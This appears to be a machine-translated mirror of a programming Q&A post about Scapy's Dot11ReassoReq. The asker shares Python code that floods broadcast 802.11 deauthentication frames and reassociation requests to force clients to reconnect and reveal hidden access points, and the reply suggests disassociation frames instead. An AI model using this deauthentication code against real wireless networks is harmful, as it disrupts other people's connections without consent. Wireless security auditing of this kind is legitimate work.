繁体   English   中英

Scapy Dot11ReassoReq

[英]Scapy Dot11ReassoReq

Scapy的Dot11ReassoReq是什么,它有什么作用? 对于我而言,这确实很理想:我想制作一个工具(除其他外)搜索隐藏的AP。 到目前为止,我的代码:

def tickle(*args,**kwargs):
    packs1=[]
    packs2=[]
    for client in appinstance.sframe.interior.clients.copy():
        pkt=Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=client,addr3=client)/\
             Dot11Deauth()
        packs1.append(pkt)
    for client in appinstance.sframe.interior.clients.copy():
        pkt=Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=client,addr3=client)/\
             Dot11ReassoReq(current_AP=client)
        packs2.append(pkt)
    packs1*=32
    shuffle(packs1)
    packs2*=32
    shuffle(packs2)
    packs=packs1+packs2
    appinstance.stopprogressbar()
    appinstance.startprogressbardet(len(packs),
                                       "Trying to expose hidden AP's")
    for pkt in packs:
        send(pkt,verbose=0)
        appinstance.progressbar.step()
    appinstance.stopprogressbar()

但是,Wireshark报告这些ReassoReq数据包无效。 为什么,在Deauth数据包之后,我应该使用什么数据包来使客户端重新连接?

呵呵。 显然已在http://people.cs.nctu.edu.tw/~yctseng/WirelessNet2010-02-nctu/ieee802-11-management.ppt (幻灯片38)中进行了说明。Dot11Disas()可能是解决之道。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM